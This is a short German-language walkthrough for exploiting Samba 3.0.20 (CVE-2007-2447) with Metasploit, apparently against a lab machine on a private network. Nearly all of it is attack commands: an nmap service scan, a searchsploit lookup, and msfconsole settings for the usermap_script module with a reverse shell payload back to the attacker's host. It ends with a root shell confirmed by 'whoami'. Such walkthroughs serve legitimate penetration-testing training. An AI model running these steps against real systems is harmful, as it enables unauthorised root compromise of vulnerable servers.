
Schritt-für-Schritt-Anleitung zur Ausnutzung von Samba 3.0.20 (CVE-2007-2447) mit Metasploit, einschließlich Nmap-Scan, Payload-Einrichtung und Reverse-Shell-Ausführung.
nmap -sS -sV -p 139,445 192.168.56.102
Erwartetes Ergebnis:
139/tcp open netbios-ssn Samba smbd 3.X
445/tcp open microsoft-ds Samba smbd 3.0.20-Debian
👉 Samba-Version: 3.0.20 Dies ist anfällig für CVE-2007-2447.
searchsploit samba 3.0.20
Ergebnis:
Samba 3.0.20 - 'Username' map script Command Execution
msfconsole
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101
Das Payload wird automatisch ausgewählt:
cmd/unix/reverse
Überprüfen:
show options
run
oder
exploit
Bei Erfolg:
Command shell session opened
Wir überprüfen:
whoami
👉 Ergebnis:
root